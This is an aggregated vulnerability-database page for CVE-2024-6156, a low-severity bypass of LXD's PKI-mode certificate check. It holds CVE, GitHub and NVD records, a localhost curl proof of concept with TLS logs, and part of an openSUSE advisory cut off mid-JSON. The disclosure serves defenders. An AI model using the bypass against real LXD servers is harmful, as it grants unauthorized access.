CVE-2024-6156 (GCVE-0-2024-6156)

Vulnerability from cvelistv5

Published

2024-12-05 23:11

Modified

2025-03-18 15:58

Severity ?

3.8 (Low) - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N

Summary

Mark Laing discovered that LXD's PKI mode, until version 5.21.2, could be bypassed if the client's certificate was present in the trust store.

References

►

URL

	Vendor	Product	Version
	Canonical Ltd.	LXD	Version: 4.0 ≤ Version: 4.0 ≤ Version: 4.0 ≤ Version: 4.0 ≤

ghsa-4c49-9fpc-hc3v

Vulnerability from github

Published

2024-12-09 23:26

Modified

2024-12-11 21:16

Severity ?

3.8 (Low) - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N

Summary

lxd CA certificate sign check bypass

Details

Summary

If a server.ca file is present in LXD_DIR at LXD start up, LXD is in "PKI mode". In this mode, only TLS clients that have a CA-signed certificate should be able to authenticate with LXD.

We have discovered that if a client that sends a non-CA signed certificate during the TLS handshake, that client is able to authenticate with LXD if their certificate is present in the trust store. - The LXD Go client (and by extension lxc) does not send non-CA signed certificates during the handshake. - A manual client (e.g. cURL) might send a non-CA signed certificate during the handshake.

Versions affected

LXD 4.0 and above.

Details

When PKI mode was added to LXD it was intended that all client and server certificates must be signed by the certificate authority (see https://github.com/canonical/lxd/pull/2070/commits/84d917bdcca6fe1e3191ce47f1597c7d094e1909).

In PKI mode, the TLS listener configuration is altered to add the CA certificate but the ClientAuth field of tls.Config is not changed. The ClientAuth field is set to tls.RequestClientCert, which configures the TLS connection to request a certificate from the client, but not require one. This is necessary because untrusted requests are allowed for some endpoints.

If a client certificate is present in the trust store before PKI mode is enabled, calls to LXD using that certificate fail when using the Go client for LXD. I believe that what is happening is as follows: - During the TLS handshake, the server requests a certificate from the client. The server includes in it's request a list of acceptable CAs. - The go client receives the request from the server, but does not have any certificates that match what the server requires, and so does not send any. - The server considers the handshake complete because it does not absolutely require the client certificate (see above). - In the (*Daemon).Authenticate method, when checking for TLS clients, there are no PeerCertificates in the request. So util.CheckTrustState is never called and the request is denied.

Importantly, the above does not apply if the client sends a certificate during the handshake anyway. If this occurs and the certificate is present in the trust store, the request is trusted and is allowed to continue. It is possible to do this using cURL*.

PoC

The follow snippet demonstrates the vulnerability:

```

Install/initialize LXD

$ snap install lxd --channel 5.21/stable $ lxd init --auto $ lxc config set core.https_address=127.0.0.1:8443

Add a certificate to the trust store before enabling PKI.

$ token="$(lxc config trust add --name ca-test --quiet)" $ lxc remote add tls "${token}"

Use easyrsa for configuring CA: https://github.com/OpenVPN/easy-rsa

$ cp -R /usr/share/easy-rsa "/tmp/pki" $ export EASYRSA_KEY_SIZE=4096 $ cd /tmp/pki $ ./easyrsa init-pki $ echo "lxd" | ./easyrsa build-ca nopass $ cp pki/ca.crt /var/snap/lxd/common/lxd/server.ca

Restart daemon.

$ systemctl reload snap.lxd.daemon

Using curl with the client certificate we expect a 403 Forbidden response.

Instead we get a 200 OK and we are able to view the response body.

$ cat ~/snap/lxd/common/config/client.crt ~/snap/lxd/common/config/client.key > ~/snap/lxd/common/config/client.pem $ curl -s --cert ~/snap/lxd/common/config/client.pem --cacert /var/snap/lxd/common/lxd/server.crt https://127.0.0.1:8443/1.0" | jq '.metadata.config."core.https_address"' ```

Impact

I believe this has a low impact for the following reasons: * PKI mode is unlikely to have a large user base. * PKI is likely to be configured at start up without any previous certificates in the trust store. * Authentication is not bypassed entirely, the client certificate must already be trusted.

Notes

I am not certain why cURL sends the certificate during the handshake but we can see it in the logs: ```
Trying 127.0.0.1:8443... % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0* Connected to 127.0.0.1 (127.0.0.1) port 8443 (#0)
ALPN, offering h2
ALPN, offering http/1.1
CAfile: /var/lib/lxd/server.crt
CApath: /etc/ssl/certs
TLSv1.0 (OUT), TLS header, Certificate Status (22): } [5 bytes data]
TLSv1.3 (OUT), TLS handshake, Client hello (1): } [512 bytes data] 0 0 0 0 0 0 0 0 --:--:-- 0:00:03 --:--:-- 0* TLSv1.2 (IN), TLS header, Certificate Status (22): { [5 bytes data]
TLSv1.3 (IN), TLS handshake, Server hello (2): { [122 bytes data]
TLSv1.2 (IN), TLS header, Finished (20): { [5 bytes data]
TLSv1.2 (IN), TLS header, Supplemental data (23): { [5 bytes data]
TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8): { [15 bytes data]
TLSv1.2 (IN), TLS header, Supplemental data (23): { [5 bytes data]
TLSv1.3 (IN), TLS handshake, Request CERT (13): { [69 bytes data]
TLSv1.2 (IN), TLS header, Supplemental data (23): { [5 bytes data]
TLSv1.3 (IN), TLS handshake, Certificate (11): { [496 bytes data]
TLSv1.2 (IN), TLS header, Supplemental data (23): { [5 bytes data]
TLSv1.3 (IN), TLS handshake, CERT verify (15): { [111 bytes data]
TLSv1.2 (IN), TLS header, Supplemental data (23): { [5 bytes data]
TLSv1.3 (IN), TLS handshake, Finished (20): { [36 bytes data]
TLSv1.2 (OUT), TLS header, Finished (20): } [5 bytes data]
TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1): } [1 bytes data]
TLSv1.2 (OUT), TLS header, Supplemental data (23): } [5 bytes data]
TLSv1.3 (OUT), TLS handshake, Certificate (11): <<<<<<<<< HERE } [455 bytes data]
TLSv1.2 (OUT), TLS header, Supplemental data (23): } [5 bytes data]
TLSv1.3 (OUT), TLS handshake, CERT verify (15): } [111 bytes data]
TLSv1.2 (OUT), TLS header, Supplemental data (23): } [5 bytes data]
TLSv1.3 (OUT), TLS handshake, Finished (20): } [36 bytes data]
SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256
ALPN, server accepted to use h2
Server certificate:
subject: O=LXD; CN=root@RUBIX
start date: Apr 2 15:27:39 2024 GMT
expire date: Mar 31 15:27:39 2034 GMT
subjectAltName: host "127.0.0.1" matched cert's IP address!
issuer: O=LXD; CN=root@RUBIX
SSL certificate verify ok.
Using HTTP2, server supports multiplexing
Connection state changed (HTTP/2 confirmed)
Copying HTTP/2 data in stream buffer to connection buffer after upgrade: len=0
TLSv1.2 (OUT), TLS header, Supplemental data (23): } [5 bytes data]
TLSv1.2 (OUT), TLS header, Supplemental data (23): } [5 bytes data]
TLSv1.2 (OUT), TLS header, Supplemental data (23): } [5 bytes data]
Using Stream ID: 1 (easy handle 0x601ce9c4feb0)
TLSv1.2 (OUT), TLS header, Supplemental data (23): } [5 bytes data]

GET /1.0 HTTP/2 Host: 127.0.0.1:8443 user-agent: curl/7.81.0 accept: /
TLSv1.2 (IN), TLS header, Supplemental data (23): { [5 bytes data]
TLSv1.3 (IN), TLS handshake, Newsession Ticket (4): { [569 bytes data]
TLSv1.2 (IN), TLS header, Supplemental data (23): { [5 bytes data]
Connection state changed (MAX_CONCURRENT_STREAMS == 250)!
TLSv1.2 (OUT), TLS header, Supplemental data (23): } [5 bytes data]
TLSv1.2 (IN), TLS header, Supplemental data (23): { [5 bytes data]
TLSv1.2 (IN), TLS header, Supplemental data (23): { [5 bytes data]
TLSv1.2 (IN), TLS header, Supplemental data (23): { [5 bytes data] < HTTP/2 200 < content-type: application/json < etag: "a1147bd1cd26e0b98e4c4400be3c17d5de3d865a045b6e609c6a8ee1aba8c1a1" < date: Mon, 17 Jun 2024 21:25:46 GMT <
TLSv1.2 (IN), TLS header, Supplemental data (23): { [5 bytes data]
TLSv1.2 (IN), TLS header, Supplemental data (23): { [5 bytes data]
TLSv1.2 (IN), TLS header, Supplemental data (23): { [5 bytes data] 100 11659 0 11659 0 0 3401 0 --:--:-- 0:00:03 --:--:-- 3402
Connection #0 to host 127.0.0.1 left intact ```

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/canonical/lxd"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20240708073652-5a492a3f0036"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-6156"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-12-09T23:26:16Z",
    "nvd_published_at": "2024-12-06T00:15:04Z",
    "severity": "LOW"
  },
  "details": "### Summary\nIf a `server.ca` file is present in `LXD_DIR` at LXD start up, LXD is in \"PKI mode\". In this mode, only TLS clients that have a CA-signed certificate should be able to authenticate with LXD.\n\nWe have discovered that if a client that sends a non-CA signed certificate during the TLS handshake, that client is able to authenticate with LXD if their certificate is present in the trust store.\n    - The LXD Go client (and by extension `lxc`) does not send non-CA signed certificates during the handshake.\n    - A manual client (e.g. `cURL`) might send a non-CA signed certificate during the handshake.\n\n#### Versions affected\nLXD 4.0 and above.\n\n### Details\nWhen PKI mode was added to LXD it was intended that all client and server certificates *must* be signed by the certificate authority (see https://github.com/canonical/lxd/pull/2070/commits/84d917bdcca6fe1e3191ce47f1597c7d094e1909). \n\nIn PKI mode, the TLS listener configuration is altered to add the CA certificate but the `ClientAuth` field of `tls.Config` is not changed. The `ClientAuth` field is set to `tls.RequestClientCert`, which configures the TLS connection to request a certificate from the client, but not require one. This is necessary because untrusted requests are allowed for some endpoints.\n\nIf a client certificate is present in the trust store before PKI mode is enabled, calls to LXD using that certificate fail *when using the Go client for LXD*. I believe that what is happening is as follows:\n- During the TLS handshake, the server requests a certificate from the client. The server includes in it\u0027s request a list of acceptable CAs.\n- The go client receives the request from the server, but does not have any certificates that match what the server requires, and so does not send any.\n- The server considers the handshake complete because it does not absolutely require the client certificate (see above).\n- In the `(*Daemon).Authenticate` method, when checking for TLS clients, there are no `PeerCertificates` in the request. So `util.CheckTrustState` is never called and the request is denied.\n\nImportantly, the above does not apply if the client sends a certificate during the handshake anyway. If this occurs and the certificate is present in the trust store, the request is trusted and is allowed to continue. It is possible to do this using cURL*.\n\n### PoC\nThe follow snippet demonstrates the vulnerability:\n\n```\n# Install/initialize LXD\n$ snap install lxd --channel 5.21/stable\n$ lxd init --auto\n$ lxc config set core.https_address=127.0.0.1:8443\n\n# Add a certificate to the trust store before enabling PKI.\n$ token=\"$(lxc config trust add --name ca-test --quiet)\"\n$ lxc remote add tls \"${token}\"\n\n# Use easyrsa for configuring CA: https://github.com/OpenVPN/easy-rsa\n$ cp -R /usr/share/easy-rsa \"/tmp/pki\"\n$ export EASYRSA_KEY_SIZE=4096\n$ cd /tmp/pki\n$ ./easyrsa init-pki\n$ echo \"lxd\" | ./easyrsa build-ca nopass\n$ cp pki/ca.crt /var/snap/lxd/common/lxd/server.ca\n\n# Restart daemon.\n$ systemctl reload snap.lxd.daemon\n\n# Using curl with the client certificate we expect a 403 Forbidden response.\n# Instead we get a 200 OK and we are able to view the response body.\n$ cat ~/snap/lxd/common/config/client.crt ~/snap/lxd/common/config/client.key \u003e ~/snap/lxd/common/config/client.pem\n$ curl -s --cert ~/snap/lxd/common/config/client.pem --cacert /var/snap/lxd/common/lxd/server.crt https://127.0.0.1:8443/1.0\" | jq \u0027.metadata.config.\"core.https_address\"\u0027\n```\n### Impact\n\nI believe this has a low impact for the following reasons:\n* PKI mode is unlikely to have a large user base.\n* PKI is likely to be configured at start up without any previous certificates in the trust store.\n* Authentication is not bypassed entirely, the client certificate must already be trusted.\n\n### Notes\n* I am not certain why cURL sends the certificate during the handshake but we can see it in the logs:\n```\n*   Trying 127.0.0.1:8443...\n  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current\n                                 Dload  Upload   Total   Spent    Left  Speed\n  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0* Connected to 127.0.0.1 (127.0.0.1) port 8443 (#0)\n* ALPN, offering h2\n* ALPN, offering http/1.1\n*  CAfile: /var/lib/lxd/server.crt\n*  CApath: /etc/ssl/certs\n* TLSv1.0 (OUT), TLS header, Certificate Status (22):\n} [5 bytes data]\n* TLSv1.3 (OUT), TLS handshake, Client hello (1):\n} [512 bytes data]\n  0     0    0     0    0     0      0      0 --:--:--  0:00:03 --:--:--     0* TLSv1.2 (IN), TLS header, Certificate Status (22):\n{ [5 bytes data]\n* TLSv1.3 (IN), TLS handshake, Server hello (2):\n{ [122 bytes data]\n* TLSv1.2 (IN), TLS header, Finished (20):\n{ [5 bytes data]\n* TLSv1.2 (IN), TLS header, Supplemental data (23):\n{ [5 bytes data]\n* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):\n{ [15 bytes data]\n* TLSv1.2 (IN), TLS header, Supplemental data (23):\n{ [5 bytes data]\n* TLSv1.3 (IN), TLS handshake, Request CERT (13):\n{ [69 bytes data]\n* TLSv1.2 (IN), TLS header, Supplemental data (23):\n{ [5 bytes data]\n* TLSv1.3 (IN), TLS handshake, Certificate (11):\n{ [496 bytes data]\n* TLSv1.2 (IN), TLS header, Supplemental data (23):\n{ [5 bytes data]\n* TLSv1.3 (IN), TLS handshake, CERT verify (15):\n{ [111 bytes data]\n* TLSv1.2 (IN), TLS header, Supplemental data (23):\n{ [5 bytes data]\n* TLSv1.3 (IN), TLS handshake, Finished (20):\n{ [36 bytes data]\n* TLSv1.2 (OUT), TLS header, Finished (20):\n} [5 bytes data]\n* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):\n} [1 bytes data]\n* TLSv1.2 (OUT), TLS header, Supplemental data (23):\n} [5 bytes data]\n* TLSv1.3 (OUT), TLS handshake, Certificate (11):         \u003c\u003c\u003c\u003c\u003c\u003c\u003c\u003c\u003c HERE\n} [455 bytes data]\n* TLSv1.2 (OUT), TLS header, Supplemental data (23):\n} [5 bytes data]\n* TLSv1.3 (OUT), TLS handshake, CERT verify (15):\n} [111 bytes data]\n* TLSv1.2 (OUT), TLS header, Supplemental data (23):\n} [5 bytes data]\n* TLSv1.3 (OUT), TLS handshake, Finished (20):\n} [36 bytes data]\n* SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256\n* ALPN, server accepted to use h2\n* Server certificate:\n*  subject: O=LXD; CN=root@RUBIX\n*  start date: Apr  2 15:27:39 2024 GMT\n*  expire date: Mar 31 15:27:39 2034 GMT\n*  subjectAltName: host \"127.0.0.1\" matched cert\u0027s IP address!\n*  issuer: O=LXD; CN=root@RUBIX\n*  SSL certificate verify ok.\n* Using HTTP2, server supports multiplexing\n* Connection state changed (HTTP/2 confirmed)\n* Copying HTTP/2 data in stream buffer to connection buffer after upgrade: len=0\n* TLSv1.2 (OUT), TLS header, Supplemental data (23):\n} [5 bytes data]\n* TLSv1.2 (OUT), TLS header, Supplemental data (23):\n} [5 bytes data]\n* TLSv1.2 (OUT), TLS header, Supplemental data (23):\n} [5 bytes data]\n* Using Stream ID: 1 (easy handle 0x601ce9c4feb0)\n* TLSv1.2 (OUT), TLS header, Supplemental data (23):\n} [5 bytes data]\n\u003e GET /1.0 HTTP/2\n\u003e Host: 127.0.0.1:8443\n\u003e user-agent: curl/7.81.0\n\u003e accept: */*\n\u003e \n* TLSv1.2 (IN), TLS header, Supplemental data (23):\n{ [5 bytes data]\n* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):\n{ [569 bytes data]\n* TLSv1.2 (IN), TLS header, Supplemental data (23):\n{ [5 bytes data]\n* Connection state changed (MAX_CONCURRENT_STREAMS == 250)!\n* TLSv1.2 (OUT), TLS header, Supplemental data (23):\n} [5 bytes data]\n* TLSv1.2 (IN), TLS header, Supplemental data (23):\n{ [5 bytes data]\n* TLSv1.2 (IN), TLS header, Supplemental data (23):\n{ [5 bytes data]\n* TLSv1.2 (IN), TLS header, Supplemental data (23):\n{ [5 bytes data]\n\u003c HTTP/2 200 \n\u003c content-type: application/json\n\u003c etag: \"a1147bd1cd26e0b98e4c4400be3c17d5de3d865a045b6e609c6a8ee1aba8c1a1\"\n\u003c date: Mon, 17 Jun 2024 21:25:46 GMT\n\u003c \n* TLSv1.2 (IN), TLS header, Supplemental data (23):\n{ [5 bytes data]\n* TLSv1.2 (IN), TLS header, Supplemental data (23):\n{ [5 bytes data]\n* TLSv1.2 (IN), TLS header, Supplemental data (23):\n{ [5 bytes data]\n100 11659    0 11659    0     0   3401      0 --:--:--  0:00:03 --:--:--  3402\n* Connection #0 to host 127.0.0.1 left intact\n```",
  "id": "GHSA-4c49-9fpc-hc3v",
  "modified": "2024-12-11T21:16:17Z",
  "published": "2024-12-09T23:26:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/canonical/lxd/security/advisories/GHSA-4c49-9fpc-hc3v"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-6156"
    },
    {
      "type": "WEB",
      "url": "https://github.com/canonical/lxd/commit/92468bb60f4f1edf38ff0434414bea4f28afa711"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/canonical/lxd"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2024-3312"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-6156"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "lxd CA certificate sign check bypass"
}

fkie_cve-2024-6156

Vulnerability from fkie_nvd

Published

2024-12-06 00:15

Modified

2025-03-18 16:15

Severity ?

3.8 (Low) - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N

Summary

Mark Laing discovered that LXD's PKI mode, until version 5.21.2, could be bypassed if the client's certificate was present in the trust store.

References

▶	URL	Tags
	security@ubuntu.com	https://github.com/canonical/lxd/security/advisories/GHSA-4c49-9fpc-hc3v
	security@ubuntu.com	https://www.cve.org/CVERecord?id=CVE-2024-6156

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Mark Laing discovered that LXD\u0027s PKI mode, until version 5.21.2, could be bypassed if the client\u0027s certificate was present in the trust store."
    },
    {
      "lang": "es",
      "value": "Mark Laing descubri\u00f3 que el modo PKI de LXD, hasta la versi\u00f3n 5.21.2, pod\u00eda eludirse si el certificado del cliente estaba presente en el almac\u00e9n de confianza."
    }
  ],
  "id": "CVE-2024-6156",
  "lastModified": "2025-03-18T16:15:26.213",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "LOCAL",
          "availabilityImpact": "NONE",
          "baseScore": 3.8,
          "baseSeverity": "LOW",
          "confidentialityImpact": "LOW",
          "integrityImpact": "NONE",
          "privilegesRequired": "LOW",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.0,
        "impactScore": 1.4,
        "source": "security@ubuntu.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2024-12-06T00:15:04.380",
  "references": [
    {
      "source": "security@ubuntu.com",
      "url": "https://github.com/canonical/lxd/security/advisories/GHSA-4c49-9fpc-hc3v"
    },
    {
      "source": "security@ubuntu.com",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-6156"
    }
  ],
  "sourceIdentifier": "security@ubuntu.com",
  "vulnStatus": "Awaiting Analysis",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-295"
        }
      ],
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "type": "Secondary"
    }
  ]
}

opensuse-su-2024:14567-1

Vulnerability from csaf_opensuse

Published

2024-12-11 00:00

Modified

2024-12-11 00:00

Summary

govulncheck-vulndb-0.0.20241209T183251-1.1 on GA media

Notes

Title of the patch

govulncheck-vulndb-0.0.20241209T183251-1.1 on GA media

Description of the patch

These are all security issues fixed in the govulncheck-vulndb-0.0.20241209T183251-1.1 package on the GA media of openSUSE Tumbleweed.

Patchnames

openSUSE-Tumbleweed-2024-14567

CSAF 2.0 data is provided by SUSE under the Creative Commons License 4.0 with Attribution (CC-BY-4.0).

JSON

To clipboard

{
  "document": {
    "aggregate_severity": {
      "namespace": "https://www.suse.com/support/security/rating/",
      "text": "moderate"
    },
    "category": "csaf_security_advisory",
    "csaf_version": "2.0",
    "distribution": {
      "text": "Copyright 2024 SUSE LLC. All rights reserved.",
      "tlp": {
        "label": "WHITE",
        "url": "https://www.first.org/tlp/"
      }
    },
    "lang": "en",
    "notes": [
      {
        "category": "summary",
        "text": "govulncheck-vulndb-0.0.20241209T183251-1.1 on GA media",
        "title": "Title of the patch"
      },
      {
        "category": "description",
        "text": "These are all security issues fixed in the govulncheck-vulndb-0.0.20241209T183251-1.1 package on the GA media of openSUSE Tumbleweed.",
        "title": "Description of the patch"
      },
      {
        "category": "details",
        "text": "openSUSE-Tumbleweed-2024-14567",
        "title": "Patchnames"
      },
      {
        "category": "legal_disclaimer",
        "text": "CSAF 2.0 data is provided by SUSE under the Creative Commons License 4.0 with Attribution (CC-BY-4.0).",
        "title": "Terms of use"
      }
    ],
    "publisher": {
      "category": "vendor",
      "contact_details": "https://www.suse.com/support/security/contact/",
      "name": "SUSE Product Security Team",
      "namespace": "https://www.suse.com/"
    },
    "references": [
      {
        "category": "external",
        "summary": "SUSE ratings",
        "url": "https://www.suse.com/support/security/rating/"
      },
      {
        "category": "self",
        "summary": "URL of this CSAF notice",
        "url": "https://ftp.suse.com/pub/projects/security/csaf/opensuse-su-2024_14567-1.json"
      },
      {
        "category": "self",
        "summary": "URL for openSUSE-SU-2024:14567-1",
        "url": "https://lists.opensuse.org/archives/list/security-announce@lists.opensuse.org/thread/EK3MV2UFLDNRIXIWLVT5CJNSLB2MKFBU/"
      },
      {
        "category": "self",
        "summary": "E-Mail link for openSUSE-SU-2024:14567-1",
        "url": "https://lists.opensuse.org/archives/list/security-announce@lists.opensuse.org/thread/EK3MV2UFLDNRIXIWLVT5CJNSLB2MKFBU/"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2024-10220 page",
        "url": "https://www.suse.com/security/cve/CVE-2024-10220/"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2024-36620 page",
        "url": "https://www.suse.com/security/cve/CVE-2024-36620/"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2024-36621 page",
        "url": "https://www.suse.com/security/cve/CVE-2024-36621/"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2024-36623 page",
        "url": "https://www.suse.com/security/cve/CVE-2024-36623/"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2024-37820 page",
        "url": "https://www.suse.com/security/cve/CVE-2024-37820/"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2024-43784 page",
        "url": "https://www.suse.com/security/cve/CVE-2024-43784/"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2024-45719 page",
        "url": "https://www.suse.com/security/cve/CVE-2024-45719/"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2024-50948 page",
        "url": "https://www.suse.com/security/cve/CVE-2024-50948/"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2024-52003 page",
        "url": "https://www.suse.com/security/cve/CVE-2024-52003/"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2024-52529 page",
        "url": "https://www.suse.com/security/cve/CVE-2024-52529/"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2024-52801 page",
        "url": "https://www.suse.com/security/cve/CVE-2024-52801/"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2024-53259 page",
        "url": "https://www.suse.com/security/cve/CVE-2024-53259/"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2024-53264 page",
        "url": "https://www.suse.com/security/cve/CVE-2024-53264/"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2024-53858 page",
        "url": "https://www.suse.com/security/cve/CVE-2024-53858/"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2024-53862 page",
        "url": "https://www.suse.com/security/cve/CVE-2024-53862/"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2024-54131 page",
        "url": "https://www.suse.com/security/cve/CVE-2024-54131/"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2024-54132 page",
        "url": "https://www.suse.com/security/cve/CVE-2024-54132/"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2024-6156 page",
        "url": "https://www.suse.com/security/cve/CVE-2024-6156/"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2024-6219 page",
        "url": "https://www.suse.com/security/cve/CVE-2024-6219/"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2024-6538 page",
        "url": "https://www.suse.com/security/cve/CVE-2024-6538/"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2024-8676 page",
        "url": "https://www.suse.com/security/cve/CVE-2024-8676/"
      }
    ],
    "title": "govulncheck-vulndb-0.0.20241209T183251-1.1 on GA media",
    "tracking": {
      "current_release_date": "2024-12-11T00:00:00Z",
      "generator": {
        "date": "2024-12-11T00:00:00Z",
        "engine": {
          "name": "cve-database.git:bin/generate-csaf.pl",
          "version": "1"
        }
      },
      "id": "openSUSE-SU-2024:14567-1",
      "initial_release_date": "2024-12-11T00:00:00Z",
      "revision_history": [
        {
          "date": "2024-12-11T00:00:00Z",
          "number": "1",
          "summary": "Current version"
        }
      ],
      "status": "final",
      "version": "1"
    }
  },
  "product_tree": {
    "branches": [
      {
        "branches": [
          {
            "branches": [
              {
                "category": "product_version",
                "name": "govulncheck-vulndb-0.0.20241209T183251-1.1.aarch64",
                "product": {
                  "name": "govulncheck-vulndb-0.0.20241209T183251-1.1.aarch64",
                  "product_id": "govulncheck-vulndb-0.0.20241209T183251-1.1.aarch64"
                }
              }
            ],
            "category": "architecture",
            "name": "aarch64"
          },
          {
            "branches": [
              {
                "category": "product_version",
                "name": "govulncheck-vulndb-0.0.20241209T183251-1.1.ppc64le",
                "product": {
                  "name": "govulncheck-vulndb-0.0.20241209T183251-1.1.ppc64le",
                  "product_id": "govulncheck-vulndb-0.0.20241209T183251-1.1.ppc64le"
                }
              }
            ],
            "category": "architecture",
            "name": "ppc64le"
          },
          {
            "branches": [
              {
                "category": "product_version",
                "name": "govulncheck-vulndb-0.0.20241209T183251-1.1.s390x",
                "product": {
                  "name": "govulncheck-vulndb-0.0.20241209T183251-1.1.s390x",
                  "product_id": "govulncheck-vulndb-0.0.20241209T183251-1.1.s390x"
                }
              }
            ],
            "category": "architecture",
            "name": "s390x"
          },
          {
            "branches": [
              {
                "category": "product_version",
                "name": "govulncheck-vulndb-0.0.20241209T183251-1.1.x86_64",
                "product": {
                  "name": "govulncheck-vulndb-0.0.20241209T183251-1.1.x86_64",
                  "product_id": "govulncheck-vulndb-0.0.20241209T183251-1.1.x86_64"
                }
              }
            ],
            "category": "architecture",
            "name": "x86_64"
          },
          {
            "branches": [
              {
                "category": "product_name",
                "name": "openSUSE Tumbleweed",
                "product": {
                  "name": "openSUSE Tumbleweed",
                  "product_id": "openSUSE Tumbleweed",
                  "product_identification_helper": {
                    "cpe": "cpe:/o:opensuse:tumbleweed"
                  }
                }
              }
            ],
            "category": "product_family",
            "name": "SUSE Linux Enterprise"
          }
        ],
        "category": "vendor",
        "name": "SUSE"
      }
    ],
    "relationships": [
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "govulncheck-vulndb-0.0.20241209T183251-1.1.aarch64 as component of openSUSE Tumbleweed",
          "product_id": "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.aarch64"
        },
        "product_reference": "govulncheck-vulndb-0.0.20241209T183251-1.1.aarch64",
        "relates_to_product_reference": "openSUSE Tumbleweed"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "govulncheck-vulndb-0.0.20241209T183251-1.1.ppc64le as component of openSUSE Tumbleweed",
          "product_id": "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.ppc64le"
        },
        "product_reference": "govulncheck-vulndb-0.0.20241209T183251-1.1.ppc64le",
        "relates_to_product_reference": "openSUSE Tumbleweed"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "govulncheck-vulndb-0.0.20241209T183251-1.1.s390x as component of openSUSE Tumbleweed",
          "product_id": "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.s390x"
        },
        "product_reference": "govulncheck-vulndb-0.0.20241209T183251-1.1.s390x",
        "relates_to_product_reference": "openSUSE Tumbleweed"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "govulncheck-vulndb-0.0.20241209T183251-1.1.x86_64 as component of openSUSE Tumbleweed",
          "product_id": "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.x86_64"
        },
        "product_reference": "govulncheck-vulndb-0.0.20241209T183251-1.1.x86_64",
        "relates_to_product_reference": "openSUSE Tumbleweed"
      }
    ]
  },
  "vulnerabilities": [
    {
      "cve": "CVE-2024-10220",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2024-10220"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "The Kubernetes kubelet component allows arbitrary command execution via specially crafted gitRepo volumes.This issue affects kubelet: through 1.28.11, from 1.29.0 through 1.29.6, from 1.30.0 through 1.30.2.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20241209T183251-1.1.aarch64",
